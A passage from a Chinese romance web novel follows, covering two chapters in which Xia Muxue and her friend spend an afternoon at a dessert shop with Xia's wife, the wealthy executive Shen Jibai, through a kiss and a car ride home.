“有什么需要,可以发信息找我,晚上我不会关机。”
夏慕雪听话地点点头,目送她离开,走向隔壁房间。
“咔哒”一声轻响,房门关上,隔开两个世界。
夏慕雪缓缓呼出一口气。
分开房间睡,这不就是她今天早上想要的结果吗?没什么问题。
可她心里为什么会有点儿堵,找不着来由,也无处发泄呢?
婚姻还是太过于复杂了。她处理不好,干脆就不处理了。
这么多年来,她就是靠这一招躲过了夏家无数的明枪暗箭,度过还算安稳的日子。
现在应该也没什么不同。
她把自己扔进浴缸里,缓缓下沉,直到整张脸都埋进水中。
从水下看出去的世界晃动扭曲,仿佛灵魂出窍,给她一种诡异的安心感。
她喜欢游泳和泡澡,就是觉得在水中时,身体和灵魂都可以轻飘飘的,什么都不用思考。
可是那片粉色云霞的花束,真美啊。
洗完澡,她吹了头发,穿上白色真丝睡衣。
本想像往常一样,把纽扣扣到最顶上那颗,却总感觉难以呼吸一般,又解开了好几颗。
露出胸前的小红草莓。
夏慕雪望着那些痕迹,忽然想看花了。
她光着脚走出浴室,踩在顶级羊毛混纺的燕麦色地毯上,有种被包裹的感觉,给了她一点儿勇气。
就看一眼,没有关系……
她轻轻打开主卧房门,走出房间,无声无息,注意着周围的光线。
就在主卧隔壁的房间,房门没有关紧,透出一线亮光,洒在地毯上,仿佛丰收期的金色麦田。
夏慕雪紧张地屏住了呼吸,脚下下意识拐了个弯,走向那间房间。
她没想好待会儿要说什么,但总之,一定有什么可以说的。
只是看一下,又不做什么。
然而就在她快走到房间门前,一脚踏入那片金黄笼罩的范围时,房门“咔哒”一声轻轻碰上,关紧。
那片金色猛然消失,快得像一场幻觉。
夏慕雪站在原地,心跳快得过度,她按住胸口深呼吸,好几次才压下去。
愣愣地站了一会儿。
她转身回房,回去之前还是看了那束花一眼。
确实美,但门厅早已灭了灯,晦暗之中,恍惚有种花朵枯萎的错觉。
第二天清晨,夏慕雪很早就醒了。
她竖起耳朵听动静,可惜房间隔音效果太好,什么也听不见。
过一会儿,脚步声终于浮现,在地毯上非常轻微,听也听不大清楚。
距离她的房间不算近。
过了会儿又听不见了,应该是走了。
外面大门打开的声响。
智能门锁关闭的声响。
夏慕雪躺在床上睁开眼睛,发现自己还是习惯性地睡在半边,另外半边空空如也。
今天她依然在自己的小房间工作,可惜灵感不来,很不顺利。
她想写之前搁置的那首歌,磕磕绊绊不说,写出来的她也很不满意,又删掉了。
这时候闺蜜安小熙打来的电话,就格外像是救场的稻草了。
“我的已婚好闺蜜!婚姻生活怎么样啊?”
夏慕雪往后面靠背椅里一瘫,有很多话想说,最后却只汇成一句话:
“挺好的。”
安小熙:
“哟哟哟哟~~~这么快就挺好的啦~~~看来你俩相性不错嘛!怎么样,今天有没有空,出来逛逛街找个地方,我要听八卦!”
周三的商场居然人也很多。
闺蜜两人见了面,先是大呼小叫地互相惊叹一番,再是拉进去一起逛精品店,逛完一层逛二层服装店,品评一番后上四楼吃饭,吃完又去逛潮玩店,全部流程先走一通。
安小熙只是路上随口问:
“她有没有带你见家长啊?有没有送礼物给你啊?”
夏慕雪点头:
“都有。”
安小熙手掌一碰,“啪”地一声,眉飞色舞:
“那说明她真的很喜欢你呀!哇,也是叫我现场嗑到真cp了,爽哎!”
夏慕雪没接话,心底有些微微的触动。
好在下一瞬间,安小熙就惊呼:
“盲盒上新了!”
拽着她跑过去看。
安小熙性格活泼,看见什么新鲜玩意儿都一惊一乍,跟夏慕雪温文不动的性格一直挺搭配。
夏慕雪跟她在一起,也会被感染得心情轻松,时常笑个不停,逐渐抛开那些缠绕在心头的阴云。
两人逛完商场,商量着去找个咖啡店坐坐,开始进入八卦环节。
然而合适的咖啡店难找,不是人满了,就是没有安小熙想吃的甜品款式,沿着繁华主干道走出两公里,都没找到店。
安小熙边走边叽叽喳喳:
“我还想着出点片呢,怎么到处都是装修差不多的店啊,就没有一个有特色又便宜又好吃的店吗!”
夏慕雪早就习惯闺蜜这个模式了,她也不累,就跟着走路权当锻炼了。
她忽然想起什么:
“之前既白好像说过,她公司附近有家甜品店还不错,问我要不要尝尝来着,不过店名我给忘了。”
安小熙一听立刻两眼放光:
“快帮我问问在哪里叫啥名字!能被沈大总裁认可的店肯定品位极高!要知道沈大总裁可是商界审美模范呢,好多人专门研究她的穿搭和香水啥的。”
夏慕雪很踌躇:
“要么我们还是自己找……”
安小熙摇她胳膊:
“怎么回事!那不是你老婆吗,发个消息随口一问的事,又不麻烦!不合适了我们再找呗!”
夏慕雪想想也是,只是发个消息而已,没什么特别的。
应该不至于打扰对方吧。要是对方正在忙,也可以不回她。
在安小熙期待的目光里,夏慕雪点开了和沈既白的对话框。
沈既白微信名字就是她的原名,三个字,配合一片空白的头像,拒人千里的感觉溢出屏幕。
聊天记录还是加上好友时那两句“我们已经是好友啦”的提示语,没有别的消息。
夏慕雪措辞了好久,打了又删,终于写好一条消息,检查了两遍才点击发送:
【麻烦问一下,你公司楼下那家好吃的甜品店,是叫什么名字?我和朋友想去吃,谢谢。】
她做好了对方正忙没空回的准备,发出去之后就关了手机,扒拉开探头探脑的安小熙:
“我们先往那边走走,这边太阳有点晒了。”
一定是太阳晒的,不然她脸怎么会有点热。
安小熙目睹全程,啧啧称奇:
“你这消息发的,好像跟她不熟一样,怎么又是麻烦了又是谢谢的……啧啧。”
两人到了阴凉处背人的地方,安小熙挤眉弄眼地凑过来,捅了捅夏慕雪:
“哎,我问问啊,你俩……晚上睡一张床吗?有那个吗?”
夏慕雪本来只是发热,听了这话,脸上瞬间爆红。
安小熙了然于心:
“哦哦,看你这脸色,看来是睡了的,那我就放心了。我就说嘛!这么大两个美女睡在一块,怎么可能柏拉图!”
夏慕雪抬手去挡她的嘴:
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“别说了,大街上呢!”
安小熙库吃库吃地偷笑。
手机忽然震动起来,有人打来视频电话。
夏慕雪拿出手机的瞬间,心脏狂跳。
竟然是沈既白!
安小熙:
“啊啊啊啊!啊啊啊啊!”
夏慕雪在尖叫声里,抖着手按下了红色挂断,胸膛剧烈起伏。
安小熙:
“啊啊啊啊啊怎么挂断了!失去看美人的机会!”
夏慕雪没空理她,赶紧打开手机。
原来对话框里早已出现好几条消息,只不过她俩刚才打闹,没看见。
【想吃甜品了?】
【你现在在哪,我派车去接你们】
【发位置】
夏慕雪打字:
【不用接,只要店名,我们自己打车去就行】
那边几乎是秒回:
【不行,我派车。】
夏慕雪有种胳膊拧不过大腿的感觉,无奈点了一下,发送了现在的位置。
安小熙大呼小叫:
“啊啊啊啊啊她好在意你啊!天啊!竟然要坐上霸总派来接小娇妻的车了!我这也是过上好日子了,都成小说里小娇妻身边的好闺蜜了!”
她脸色陡然严肃,抓住夏慕雪的手臂,十分认真地瞪圆眼睛:
“女主大人你放心,我一定会为你们的爱情保驾护航,成为一个合格的好闺蜜,让你们的生活甜蜜蜜!”
夏慕雪无语得要命,抬手戳她脸:
“都告诉你了,少看点晋江小说,一天天的想什么呢,什么女主……我才不是!”
安小熙又吃吃笑,笑得意味深长:
“你是不是娇妻没关系,重要的是,她对你真的很在意,我看到你嫁了个好人家也就放心了。”
夏慕雪:
“……行吧。”
十来分钟后,一辆黑色加长宾利就停在两人面前,戴着白手套的司机打开车门,毕恭毕敬:
“两位女士,请上车。”
安小熙很好奇,望了一眼夏慕雪,用口型做出“哇”的表情。
坐上车,一路数着心跳声,很快开到沈氏集团附近。
那栋楼极高,明亮的玻璃幕墙反射着阳光,看不清内部。
夏慕雪知道沈既白的办公室在顶层,她还没去过,却也能想象得出来那画面。
沈既白现在应该正在顶层的巨大落地窗边俯瞰着她吧。
加长宾利在车流中也算显眼,她可能已经锁定了这辆车。
想到此处,夏慕雪忍不住搓了搓脸,为着那道想象中的目光感到紧张。
宾利拐进旁边一条小巷,安小熙“咦”了一声,有点茫然。
车子最终在一家小店门前停下,司机恭敬地为二人打开车门:
“到了,两位请下车,小心脚下。”
两人站定在小店门前,安小熙呼出一口气:
“呼啊,原来坐豪车的感觉是这样的,那辆车好稳当啊,坐着好舒服啊……”
她又看看眼前这家店,疑惑问:
“不像是霸总会喜欢的店吧……更像是年轻小情侣约会的地方。不过也行,这个装修,可以出片,感觉良好!”
她推开房门,转头拉夏慕雪进店。
一串水晶风铃挂在门上,发出“叮铃铃”的清凉声响。
夏慕雪却站在风铃之下,完全愣住了。
店内除了前台店员外,只有一个人。
那个人坐在阳光正好的窗边,戴着金丝边眼镜在翻看一本书。
她长发微卷披散,穿淡金色丝绸衬衣,神色淡然,矜贵地像发光体。
不,她的确就是发光体。
是沈既白。
9. 甜品
“我的天啊啊啊啊啊……”
安小熙走出去几步,又猛地退回来,一把抓住夏慕雪的胳膊,小声尖叫。
按理说应该很吵,可夏慕雪根本没发现。
她满心都是震撼。
沈既白为什么会在这里?
夏慕雪往前走了几步,目光一直锁定在窗边的美人身上。
她由衷地感觉到,这画面美得像一幅油画,让她有点不忍心打扰。
她脚步停顿时,一名店员忽然迎上前来说话:
“您好,我们店现在有人包场,麻烦您……”
沈既白从窗边抬起头。
视线穿过金丝眼镜的镜片,直直看向夏慕雪。
她随口道:
“过来。”
店员立刻明白过来,忙不迭跟她们道歉,引着她们走过去,帮她们拉开椅子安排座位。
四人位,夏慕雪坐在沈既白对面,安小熙有点慌,坐在了夏慕雪外侧的位置,全程不敢直视沈既白,也一声都不敢吱。
沈既白放下那本《宏观经济概论》,抬眼看夏慕雪,仿佛在等着她开口。
夏慕雪却不知道说什么,气氛有些奇怪。
好在店员拿着菜单本过来:
“请问几位想吃点什么?我们店的特色是开心果黑巧蛋糕……”
夏慕雪连忙拿过菜单本,低头翻开看,小声问安小熙:
“你想吃什么?”
安小熙不敢说话,嘴闭得紧紧的,只敢用眼神拼命示意她:问错人了啊!问大佬啊,别问我啊!
夏慕雪便不得不看向沈既白,把菜单本递过去。
昨晚那一线被刹那间切断的光亮还在脑海中徘徊。
她喉咙有些干哑,说话时有莫名的阻力:
“你……想吃什么?”
沈既白望着她,目光被眼镜和阳光映衬,仿佛有些柔软。
她抬手将菜单本接过来,修长手指翻开,一页一页缓慢翻动,细细地看。
看了半天,她说:
“一杯冰美式。”
夏慕雪:
“……”
那有必要看那么久吗……
沈既白接着说:
“所有甜品都来一份。”
说完,她把菜单本递回给夏慕雪:
“你们可以再点喝的。”
安小熙眼睛瞪得溜圆,不敢置信,眼睛拼命对着夏慕雪狂眨:
这就是大佬的点单方式吗!根本不看人头数的!所有口味各来一份要干嘛啊,桌子摆的下吗!
夏慕雪也震惊了,她连忙说:
“不需要那么多甜品吧?”
沈既白淡然道:
“都尝尝,有喜欢的,下次再单点。”
她抬手摘下眼镜,手指在阳光里细长白皙,神情平淡,目光悠然落在窗外茂盛树叶上。
下次?
夏慕雪只觉仿佛有一颗石子,落入她心里,激起一圈又一圈的涟漪,久久不散。
服务生喜笑颜开地走了。
夏慕雪终于还是开口:
“既白……你怎么会在这儿?”
沈既白看看她,又看看她身边的人:
“不先介绍一下你朋友吗?”
夏慕雪只好介绍:
“这位是我中学就认识的好闺蜜,现在是计算机在读硕士。”
安小熙拘谨道:
“沈总您好,我叫安小熙。”
沈既白点头:
“嗯,你好。你和慕雪经常一起玩?”
安小熙连连点头,慌不择路地补了一句:
“对……那个沈总,我,我觉得她和您真的很配,天生一对的程度!咱们婚礼上也见过的,我一直很嗑你俩的!”
夏慕雪听得两眼一黑,恨不得捂住对方的嘴,可惜话已出口,该听的不该听的人都听清楚了。
商业联姻而已,对着沈既白说这些,实在太学生气又太幼稚了。
沈既白不会站起来走人吧……夏慕雪忐忑地想。
她小心抬眼,觑着沈既白的表情。
对方神情完全没变化,甚至眉梢都没有动,只轻轻地“嗯”一声,不置可否。
安小熙也意识到尴尬,闭了嘴。
空气中辗转着沉默。
沈既白忽然主动开口:
“我今天下午工作不太忙。”
这算是解释了她为什么会出现在这里。
夏慕雪点点头,心头安定下来,她转脸看向窗外。
阳光正好,树影摇曳,微风拂过树梢,小鸟正在欢唱。
她不由得说:
“这里真的是个好地方。”
安小熙这会儿稍稍放松了些,也接话说:
“对啊对啊,店里装修也很好看,没想到沈总居然知道这种地方……哎慕雪,你知道吗,这种地方最适合情侣约会了……你和沈总在这里简直是,啧啧啧!”
她说着说着自己又嗑到了,捧着脸露出迷之傻笑。
沈既白看了她一眼,深黑的眸子在发丝背后,有些隐秘的流光闪过。
夏慕雪刚落下的心又提起来了,她立刻捏了一把安小熙的手臂,低声说:
“好了好了!”
安小熙马上不说话了,还做了个给自己嘴巴拉拉链的动作,端正地坐好。
聒噪消失,却更显世界安静。
夏慕雪其实有许多话想问,比如,昨晚的事,上次在沈家的事,最开始替婚的事……
可她想了又想,开口时,说出来的只有:
“你昨晚带回来的那束花,和这里环境也很配,放在这里肯定也好看。”
沈既白点头,勾起唇角,笑得很淡:
“你喜欢这种店?”
她没有问“这家店”,而是“这种”,夏慕雪心下奇怪,想不通她是什么意思。
便只很保守地说:
“这种店是挺好的。”
沈既白瞥了眼店内装修,垂下眼睫,神态沉凝,似乎在思考什么。
几秒钟后,她便抬头,专注地看向夏慕雪:
“喜欢的话,给你开一家类似的,三个月内落地。”
夏慕雪:
“……”
安小熙:
“呜啊啊啊啊啊啊——咦呀呀呀呀——”
夏慕雪知道安小熙这个人,完全没有唱歌天赋,但此时因为压着喉咙尖叫,嗓子眼里都快冒出戏腔了!
她尴尬得无以复加。
等这一波尖叫声过去,安小熙终于收了声音,只用一双亮得像灯泡般的眼睛瞪着夏慕雪,超小声地碎碎念:
“太宠啦……这就是霸总的宠溺吗……”
夏慕雪脸都被她看红了,正要反驳,服务生来上餐了。
同来的还有一位女老板,帮忙把甜品安置放好后,便殷勤介绍道:
“本店有写真角落,可以免费帮您拍写真的,有需要的话叫我们就好,对餐品有任何不满意务必按铃告诉我们,我们会马上补偿。希望几位享受甜蜜。”
桌面上摆满琳琅满目的甜品,旁边甚至上了一辆小推车,车上还摆着三层甜品,仿佛置身于童话里的甜品王国,还赠送了三杯饮品。
安小熙这会儿不知怎地忽然智商上线,她轻轻捅了下夏慕雪的胳膊:
“这里这么多位置,还有这么多甜品,我端几个我喜欢的,去别处吃吧?”
夏慕雪:
“啊?”
安小熙挤眉弄眼示意对面:
“我想松弛点。"
夏慕雪明白过来,便点点头,又对沈既白说:
“小熙她想去旁边桌子吃,可以带几份过去吗?”
沈既白看过来,很礼貌地勾了一下唇角,对安小熙和颜悦色:
“当然可以。”
安小熙端起几盘甜品,嘿
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嘿一笑:
“谢谢沈总,慕雪,你们好好享受哈!”
她直接跑到店外面的户外座位去坐了,从里面完全看不见人影。
这会儿老板和服务生不知为何也消失了,整个店里只剩下她们两个人。
午后微醺的日光洒落,落在一桌子的甜品碟上,给一切染上一层橙黄光芒。
夏慕雪确实没见过这种阵仗,她望着自己眼前粉色的芭乐气泡果汁,盯住里面的气泡不断升腾……总觉得沈既白的行为透着股诡异。
好似非要在她闺蜜面前做点什么,表现一下似的。
但应该只是她的错觉吧,沈既白这种级别的人,哪有空在意她闺蜜的看法。
“尝尝看。”
沈既白对上夏慕雪的视线,将一盘黑巧慕斯递过来。
“嗯?”
夏慕雪心想她怎么知道我最喜欢黑巧慕斯……这点小事,连她亲爸都不知道,更别提身边朋友了。
沈既白是怎么知道的?
只是巧合而已,夏慕雪忍不住责备自己,吃蛋糕就吃蛋糕,乱想什么?
她用叉子取了一小块去尝。
沈既白专注看着她的动作。
看着她将那块小蛋糕送入口中,看她那两片饱满丰润的唇瓣张开,露出小而柔软的舌尖。
她先是轻触蛋糕表面,再将蛋糕吃掉。仿佛尝到很好的味道,双眸迅速睁大,杏眼深处有了明媚的闪光,唇角微微扬起。
是一个恰到好处、美妙又自然的笑意。
沈既白看完了全过程,又推过去另一盘甜品:
“再尝尝这个。”
夏慕雪又尝了一口别的,这次是橘子味的,她皱了皱眉头,似乎不太喜欢,却也没有更明显的表现,只是眼中没了那光芒。
沈既白不喜欢她这个表情,于是又推去一盘巧克力口味。
“乖,这个呢?”
夏慕雪抬眼看她,目光晶莹灵动,面颊有些泛起粉色,似乎对这个称呼感到惊讶。
眼睛愈发像小动物。
沈既白手指轻微地捻了下蕾丝桌布。
空气里都是甜蜜的香味,复杂地交织在一起。
而沈既白低头,抿了一口冰美式。
极苦,豆子水平很普通,却很适配此刻她焦躁的火焰。
再抬头,夏慕雪又在喝气泡水了。
她用双手捧着粉色的饮料,而那饮料的颜色,完全比不上她面颊此刻的颜色鲜艳。
沈既白目光宛如实质,投在面前这张白皙面庞上。
她发现她的舌尖在接触吸管前,会下意识地轻碰一下,再将吸管送入口中。
她发现她喜欢小口小口地啜饮,带动杯中液体流动,细密气泡一连串地上升。
气泡之后藏着她那有点儿苦恼的小小抱怨神情。
沈既白微微地笑起来。故意又推过去一盘。
夏慕雪吃了好多份甜品,可她实在不爱吃太甜的,每一份只吃一两口,都有点儿撑。
中间她喝了好几口气泡水试图解腻,可惜气泡水也太甜,胃里充满气泡,更撑了。
沈既白还在不断给她面前推甜品,一直盯着她看,那眼神……让夏慕雪简直是坐立不安。
她放下叉子,站起身说:
“我去下洗手间。”
她今天穿了绿色长裙,裙摆不小心勾到小车上的欧式花纹围栏,差点儿把小车带倒。
沈既白扶了她一把。
手掌在她腰上暧昧地辗转而过,却使了力气,将她拉入怀中。
裙摆如同飞转的翅膀,在阳光里纤细的腰跟着旋转,像一场进退相宜的舞蹈。
“哎呀……踩到你……唔!”
夏慕雪发现自己踩在沈既白的高级皮鞋上,正要道歉,视线里却全是对方忽然放大的面庞。
沈既白吻住她盯了很久的那双唇瓣。
的确,滋味甜美。
10. 开心
春季下午的阳光,穿透窗棂照射进来,照在两个紧密拥抱的身影之上。
室内充盈着甜品的香味,宽大的裙摆旋转,搅动无数香气弥漫在周遭,热气蒸腾,尘灰在阳光里轻盈地跳舞,不断飞扬向上。
夏慕雪心中非常茫然,她根本不知道发生了什么。
甜品的气味和沈既白身上一贯的香水味融合,清冷香气变得温暖,将她整个人完全笼罩。
她满眼都是金色的阳光,和沈既白被照得金黄透亮的发丝,逐渐也很难思考地半闭上眼。
她觉得自己像一块生巧,正在无法抗拒地融化。
她抬手推人,手却软绵绵地,使不上力气。
“叮咚”的声响忽然打破寂静。
门外传来年轻女孩子的欢声笑语,两个女孩子正在对话。
夏慕雪猛然间清醒,几乎是用尽全力地将人推开,整个人被反作用力推得连续往后好几步,差点儿倒在后面桌子上。
饶是沈既白这样健身的人,也被她推得踉跄两步才站稳,疑惑地朝她看来。
夏慕雪无暇去看她的反应,只看向门口。
两个女孩笑着在说话:
“这家店果然全是情侣啊……”
然后她们扫了一眼店内两人,顿时僵直在原地,仿佛看到了全世界最恐怖的场面。
夏慕雪紧张得想吐。
她现在只想逃离现场,可是……那两个女孩忽然齐齐喊了一声:
“沈总好!”
怎……怎么是沈既白的下属啊……
夏慕雪感觉大脑都要宕机了,羞耻和尴尬彻底席卷了她。
沈既白却泰然自若,对她俩道:
“嗯。”
她没提包场的事情,反而伸手向夏慕雪,将她从桌前扶起来站好。
夏慕雪陡然间预感到了什么。
她转过依然红得灼热的脸,看着沈既白那张凉薄的唇张开,有种极为复杂的感觉。
清泉一般的声音清晰而坚定:
“介绍一下,她是我妻子。”
直到两个女孩都走了,沈既白手依然搭在她腰上,并未放开她。
夏慕雪根本没听到那句话之后对面的回答,只感觉这一切像一团模糊的云,唯独那简单的五个字清晰可见,像云中的惊雷。
如果现在就把她当做妻子介绍给下属,那么以后呢?
以后她们离婚的时候,岂不是所有人也都会知道?
联姻为的是有婚姻背书,却不是为了昭告天下,让所有不相干的人都知道,沈既白这样做……真的对商业发展有利吗?
为什么要这样做啊……
夏慕雪完全不理解,还有种难言的羞耻感。
她从沈既白怀中挣脱,匆匆说道:
“我去洗手间。”
便逃一样溜走了。
在卫生间洗了把脸,重新化了一点儿淡妆,她拖延够了时间,根本不知道自己该如何面对沈既白。
她觉得这个人实在是不可理喻,怎么会这么喜欢随时随地不分场合地强吻自己呢?
她也是个有情绪、会羞耻的人啊。
也不知道以后两个人离婚时,沈既白会不会后悔。
一想到出去又要面对沈既白,她的头皮就有点发麻,于是对着镜子一遍遍细细地补妆。
直到自己被吻得发肿的唇瓣完全平复,脸颊上的潮红也彻底褪去,一切回归整齐得体。
她才缓缓走出去,准备跟沈既白告别,和安小熙一块儿回家。
然而她走出去,却看见外面店内空空如也。
那位夺目的发光体不见了。
只有店员和服务生正在打包桌上的甜品,安小熙也兴高采烈地在旁边指挥,这个要,那个不要。
见她出来,服务生热情洋溢地说:
“您好,沈女士有急事离开了,她让我们告诉您,您两位可以在这里呆到晚上闭店。”
安小熙也笑嘻嘻地:
“闭店不至于,我们打包一些甜品回去吃就很够了,这家店东西不错,但下次我可不敢来了,还是你俩小妻妻一块儿来约会吧~”
夏慕雪心脏有些发沉,却又知道自己该松口气。
她勉强地勾起嘴角,对服务生说:
“也不用全部打包。”
服务生手上动作不停:
“没有全部打包啊,沈女士说只需要这几款。”
夏慕雪仔细看了看,那几款都是她品尝过,并且暗暗在心里觉得好吃的。
有几款她尝过但不喜欢的,就没有打包。
没尝过的也没打包。
夏慕雪张了张口,再次觉得奇怪。
这个沈既白是侦探吗?
自己品尝甜品的时候,根本都没说话啊,她怎么能够准确知道,自己喜欢哪几款的?
但不可否认的,她刚刚心里那种坠落感消失了,变为些微的暖意。
她看向窗外,已经是夕阳了。
橙红色的光芒形成了一片海洋,而她仿佛浸泡其中,面颊与心口,也都是温暖的橙红
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色。
闺蜜两人提着漂亮的打包袋走出甜品店,沿着小巷的道路往主干道走,一路追着夕阳的踪迹。
安小熙简直是话匣子出击,聒噪至极,不断在夏慕雪耳朵边念叨:
“啊啊啊沈总对你好好哦,沈总简直是天神下凡,她怎么会这么宠溺啊天哪天哪,我看的一般小说都没这么甜!关键她长得简直比一线女明星都漂亮,跟你好搭配啊,我以前老觉得你长这么好看谁能配得上,现在我给你俩这神颜妻妻跪下了……”
夏慕雪耳朵听得嗡嗡响,无奈地抬手做了个阻止手势:
“好吵啊你,真的别说了,我们总归是要……”
她说到这里又闭了嘴。
只接着道:
“你也快点回去,不是还有论文要写吗?”
提起论文,安小熙果然一阵鬼哭狼嚎,不再说她和沈既白的事了。
恰好这时,一辆眼熟的黑色加长宾利朝两人驶来,缓缓停在两人旁边。
夏慕雪有点儿惊讶,心跳却又有些加快。
车门降下的瞬间,她微微屏住呼吸。
然而车内却是下午见过的那位司机,正一脸严肃道:
“两位女士请上车,我会将两位送往目的地。”
安小熙欢天喜地上了车。
夏慕雪提起裙摆上车,随口问:
“沈总没说要我早点回家吗?”
她随后又觉得问这话有点怪,羞赧地笑了一下。
司机摇头:
“没说。”
她“哦”了一声,赶忙上车。
车子启动,她端正坐好,拿起身边的瓶装水抿着喝。
那瓶子形状流畅,没有标签,却一看便价值不菲,入口温柔。
总仿佛带着点儿熟悉的、幽幽的冷香……
司机先送了安小熙回学校,再送夏慕雪回市区大平层。
夏慕雪疲惫地进屋,一眼又看见玄关柜上的粉色花束。
仍旧那么有生命力,看一眼便让人心情一亮。
她想了想,去厨房把打包的甜品放进冰箱,转身出来,随意瘫在沙发靠枕里,拿出手机。
打开沈既白的微信对话框,她缓缓打出一行:
【今天谢谢你陪我们吃甜品。】
过了会儿,对面回过来:
【不客气。开心就好。】
夏慕雪看着手机,过了好一会儿,才从手机屏幕黑下去的反光里,发现自己嘴角正在上扬。
那个女人,还挺会哄人开心的。